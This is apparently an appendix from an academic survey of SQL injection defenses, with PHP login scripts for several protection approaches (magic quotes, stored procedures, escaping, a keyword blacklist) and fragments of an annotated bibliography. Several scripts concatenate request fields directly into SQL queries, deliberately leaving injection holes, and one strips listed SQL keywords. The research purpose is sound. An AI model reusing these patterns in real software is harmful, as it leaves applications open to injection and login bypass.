  169       echo "<h2>Database error encountered</h2>"; 
  170     } 
  171     if ($db_die_on_fail) { 
  172       echo "<p>This script cannot continue, terminating."; 
  173       die(); 
  174     } 
  175   } 
  176   return($qid); 
  177 } 
  178 ?> 
 
Figure E.2 – Approach A: Bespoke Blacklist with Server-side Field Truncation 
 
    1 <html> 
    2 <head> 
    3   <title>Approach B</title> 
    4 </head> 
    5 <style> 
 
   ... identical lines to Approach A removed for brevity ... 
 
   41 <body> 
   42   <div id="header"> 
   43     <h1>Approach B</h1> 
   44   </div> 
   45   <div id="leftcol"> 
   46     <? 
   47     error_reporting(0); 
 
   ... identical lines to Approach A removed for brevity ... 
 
   68     ?> 
   69   </div> 
   70   <div id="rightcol"> 
   71     <strong>Verbose Error Messages:</strong> No<br/> 
   72     <strong>Login Attempts:</strong> Unlimited<br/> 
   73     <strong>SQL Queries:</strong> Inline<br/> 
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   74     <strong>string Validation Method:</strong> automatic (Magic Quotes 
GPC): 
   75                                                           <br/> 
   76     <p> 
   77     Escaped characters: 
   78     <ul> 
   79       <li>Single Quotes</li> 
   80       <li>\</li> 
   81       <li>double Quotes</li> 
   82       <li>NULL</li> 
   83     </ul> 
   84     <strong>Numeric Field Validation Method:</strong> Quoted 
values.<br/> 
   85     </p> 
   86   </div> 
   87 </body> 
   88 </html> 
   89  
   90 <? 
   91 function authenticateuser() { 
   92   if ( (!isset($_request["user"]) && !isset($_request["id"]))  
   93          || !isset($_request["pass"]) ) { 
   94         //redirect to login page 
   95         exit; 
   96   } 
   97   if (empty($_request['id'])) { 
   98     $sql = "SELECT name FROM users WHERE uid = '"  
               . $_request["user"]  
   99          . "' AND pwd = '" . $_request["pass"] . "'"; 
  100   } else { 
  101     $sql = "SELECT uid, pwd FROM users WHERE id='" . $_request['id']  
  102          . "'AND pwd='" . $_request['pass'] . "'"; 
  103   } 
  104   $query = sqlquery($sql, false, false, true);  // no errors displayed 
  105   if (mysql_num_rows($query) == 1) { 
  106     // set authentication cookie 
  107     echo "You are logged in."; 
  108   } else { 
  109     // redirect back to login form 
  110     echo "Login failed.<br/><br/> 
  111       <a href=\"javascript:history.back(1);\">Try again</a>"; 
  112   } 
  113   return; 
  114 } 
 
  ... identical lines to Approach A removed for brevity ... 
 
  175 ?> 
Figure E.3 – Approach B: Magic Quotes 
 
    1 <html> 
    2 <head> 
    3   <title>Approach C</title> 
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    4 </head> 
    5 <style> 
 
  ... identical lines to Approach A removed for brevity ... 
 
   40 </style> 
   41 <body> 
   42   <div id="header"> 
   43     <h1>Approach C</h1> 
   44   </div> 
   45   <div id="leftcol"> 
 
  ... identical lines to Approach A removed for brevity ... 
 
   69   </div> 
   70   <div id="rightcol"> 
   71     <strong>Host system:</strong> .NET / SQL Server 2005<br/> 
   72     <strong>Verbose Error Messages:</strong> No<br/> 
   73     <strong>Login Attempts:</strong> Unlimited<br/> 
   74     <strong>SQL Queries:</strong> Stored Procedures<br/> 
   75     <strong>string Validation Method:</strong> Handled by stored  
   76     procedure call<br/> 
   77     <strong>Numeric Field Validation Method:</strong> Typed  
   78     parameters<br/> 
   79   </div> 
   80 </body> 
   81 </html> 
   82  
   83 <? 
   84 function authenticateuser() { 
   85   if ( (!isset($_request["user"]) && !isset($_request["id"]))  
   86          || !isset($_request["pass"]) ) { 
   87     // a required field is empty 
   88     echo "Login failed.<br/><br/> 
   89       <a href=\"javascript:history.back(1);\">Try again</a>"; 
   90   } else { 
   91     if (empty($_request['id'])) { 
   92       $sql = "call userlogin('" . stripslashes($_request["user"])  
   93            . "', '" . stripslashes($_request["pass"]) . "', @hits)"; 
   94     } else { 
   95       $sql = "call IDlogin('" . stripslashes($_request["id"]) . "', '" 
   96            . stripslashes($_request["pass"]) . "', @hits)"; 
   97     } 
   98     $query = sqlquery($sql, false, false, true);  
   99             // No DB Errors/Messages displayed 
  100     $query = sqlquery("SELECT @hits"); 
  101     $row = mysql_fetch_assoc($query); 
  102     if ($row["@hits"] > 0) { 
  103       echo "You are logged in."; 
  104       } else { 
  105       // redirect back to login form 
  106       echo "Login failed.<br/><br/> 
  107             <a href=\"javascript:history.back(1);\">Try again</a>"; 
  108     } 
  109   } 
  110   return; 
  111 } 
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  112  
  113 function sqlconnect() { 
 
  ... identical lines to Approach A removed for brevity ... 
 
  146 } 
  147  
  148  
  149 function sqlquery($query, $debug=false, $die_on_debug=false,  
        $silent=false) 
  150                   { 
  151   global $db_die_on_fail, $db_verbose; 
  152   if ($debug) { 
  153     echo "<pre>" . htmlspecialchars($query) . "</pre>"; 
  154     ?> 
  155     <pre> 
  156 CREATE PROCEDURE `IDlogin` 
  157 ( 
  158   IN idNo bigint, 
  159   IN passwd varchar(50), 
  160   OUT hits int 
  161 ) 
  162 BEGIN 
  163    select 
  164      count(*) 
  165    INTO hits 
  166    FROM users 
  167    WHERE 
  168      id = idNo AND pwd = passwd; 
  169 end 
  170  
  171  
  172 CREATE PROCEDURE `userlogin` 
  173 ( 
  174   IN email varchar(255), 
  175   IN passwd varchar(50), 
  176   OUT hits int 
  177 ) 
  178 BEGIN 
  179    select 
  180      count(*) 
  181    INTO hits 
  182    FROM users 
  183    WHERE 
  184      uid = email AND pwd = passwd; 
  185 end 
  186 </pre> 
  187     <? 
  188     if ($die_on_debug) die; 
  189   } 
  190   $qid = mysql_query($query); 
  191   if (! $qid && ! $silent) { 
  192     if ($db_verbose) { 
  193       echo "<h2>Can't execute query</h2>"; 
  194       echo "<pre>" . htmlspecialchars($query) . "</pre>"; 
  195       echo "<p><b>MySQL Error</b>: ", mysql_error(); 
  196     } else { 
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  197       echo "<h2>Database error encountered</h2>"; 
  198     } 
  199     if ($db_die_on_fail) { 
  200       echo "<p>This script cannot continue, terminating."; 
  201       die(); 
  202     } 
  203   } 
  204   return($qid); 
  205 } 
  206 ?> 
Figure E.4 – Approach C: Stored Procedures 
 
    1 <html> 
    2 <head> 
    3   <title>Approach D</title> 
    4 </head> 
    5 <style> 
 
  ... identical lines to Approach A removed for brevity ... 
 
   40 </style> 
   41 <body> 
   42   <div id="header"> 
   43     <h1>Approach D</h1> 
   44   </div> 
   45   <div id="leftcol"> 
 
  ... identical lines to Approach A removed for brevity ... 
 
   69   </div> 
   70   <div id="rightcol"> 
   71     <strong>Verbose Error Messages:</strong> No<br/> 
   72     <strong>Login Attempts:</strong> Unlimited<br/> 
   73     <strong>SQL Queries:</strong> Inline<br/> 
   74     <strong>string Validation Method:</strong> Database-specific  
   75     Escaping Mechanism<br/> 
   76     <strong>Numeric Field Validation Method:</strong> Unquoted /  
   77     Database-specific Escaping Mechanism<br/> 
   78     </p> 
   79   </div> 
   80 </body> 
   81 </html> 
   82  
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   83 <? 
   84 function authenticateuser() { 
   85   if (empty($_request['id'])) { 
   86     $sql = "SELECT uid, pwd FROM users WHERE uid='"  
   87            . sqlsafe($_request['user']) . "' AND pwd='"  
                 . sqlsafe($_request['pass']) . "'"; 
   88   } else { 
   89     $sql = "SELECT uid, pwd FROM users WHERE id="  
               . sqlsafe($_request['id']) 
   90          . " AND pwd='" . sqlsafe($_request['pass']) . "'"; 
   91   } 
   92   $query = sqlquery($sql, false, false, true); 
   93  
   94   if (mysql_num_rows($query) > 0) { 
   95     echo "You are logged in."; 
   96   } else { 
   97     echo "Login failed.<br/><br/> 
   98           <a href=\"javascript:history.back(1);\">Try again</a>"; 
   99   } 
  100   return; 
  101 } 
  102  
  103 function sqlsafe($sql) { 
  104   $search = stripslashes($sql);   
  105    // undo magic quotes (not used on system being emulated) 
  106   $search = mysql_real_escape_string($search); 
  107   return($search); 
  108 } 
 
  ... identical lines to Approach A removed for brevity ... 
 
  170 ?> 
Figure E.5 – Approach D: Vendor-Specific Escaping 
 
    1 <html> 
    2 <head> 
    3   <title>Approach E</title> 
    4 </head> 
    5 <style> 
 
  ... identical lines to Approach A removed for brevity ... 
 
   40 </style> 
   41 <body> 
   42   <div id="header"> 
   43     <h1>Approach E</h1> 
   44   </div> 
   45   <div id="leftcol"> 
   46     <? 
   47     error_reporting(0); // NO PHP ERRORS DISPLAYED 
 
  ... identical lines to Approach A removed for brevity ... 
 
   68     ?> 
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   69   </div> 
  
   70   <div id="rightcol"> 
   71     <strong>Verbose Error Messages:</strong> No<br/> 
   72     <strong>Login Attempts:</strong> Unlimited<br/> 
   73     <strong>SQL Queries:</strong> Inline<br/> 
   74     <strong>string Validation Method:</strong> Blacklist:<br/> 
   75     <p> 
   76     Disallowed characters: 
   77     <ul> 
   78       <li>Single Quotes</li> 
   79       <li>double Quotes</li> 
   80       <li>\</li> 
   81       <li>[null]</li> 
   82       <li>[spaces]</li> 
   83       <li>;</li> 
   84       <li>-</li> 
   85       <li>select</li> 
   86       <li>DELETE</li> 
   87       <li>DROP</li> 
   88       <li>UNION</li> 
   89     </ul> 
   90     <strong>Numeric Field Validation Method:</strong> Server-side 
   91     truncation to 10 characters.<br/> 
   92     </p> 
   93   </div> 
   94 </body> 
   95 </html> 
   96  
   97 <? 
   98 function authenticateuser() { 
   99   if (empty($_request['id'])) { 
  100     $sql = "SELECT uid, pwd FROM users WHERE uid='"  
  101          . sqlsafe($_request['user']) . "' AND pwd='" 
               . sqlsafe($_request['pass']) . "'"; 
  102   } else { 
  103     $sql = "SELECT uid, pwd FROM users WHERE id='" 
  104          . substr($_request['id'],0, 10) . "' AND pwd='"  
               . sqlsafe($_request['pass']) . "'"; 
  105   } 
  106   $query = sqlquery($sql, false, false, true); // No database errors 
  107            displayed 
  108   if (mysql_num_rows($query) > 0) { 
  109     echo "You are logged in."; 
  110   } else { 
  111     echo "Login failed.<br/><br/> 
  112           <a href=\"javascript:history.back(1);\">Try again</a>"; 
  113   } 
  114   return; 
  115 } 
  116  
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  117 function sqlsafe($sql) { 
  118   $search = preg_replace("'[ ;\-]'", "", strtolower($sql)); 
  119   $search = preg_replace("'(union|delete|drop|select)'", "", $search); 
  120   return($search); 
  121 } 
 
  ... identical lines to Approach A removed for brevity ... 
 
  183 ?> 
 
Figure E.6 – Approach E: Bespoke Blacklist with Magic Quotes 
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each of the above XML-based Security Markup Languages is then discussed in terms of 
the description, communication, and assessment of both system and application 
vulnerabilities. 
 
SQL INJECTION SURVEY - WEBSITE DEVELOPMENT PRACTICES                            237 
Ollman, G. (2005). Stopping automated attack tools - An analysis of web-based application 
techniques capable of defending Against current and future automated attack tools.  
Retrieved Feb 12, 2010 from the Infosec Writers text library website:   
http://www.infosecwriters.com/text_resources/pdf/StoppingAutomatedAttackTools.p
df  
The author examines techniques which are capable of defending an application from 
automated utilities, designed to attack or exploit web-based application flaws.  An 
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SQL statement, built by the ASP code, and the fact that automatic single quote escaping 
occurs in string input via the Internet Data Connector but not via ASP is highlighted, 
followed by the observation that numeric values are not protected in this manner.  The 
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dispersed nature of security related code, the untyped nature of many scripting 
languages, and the frequent inclusion of third-party components. Site-wide protection is 
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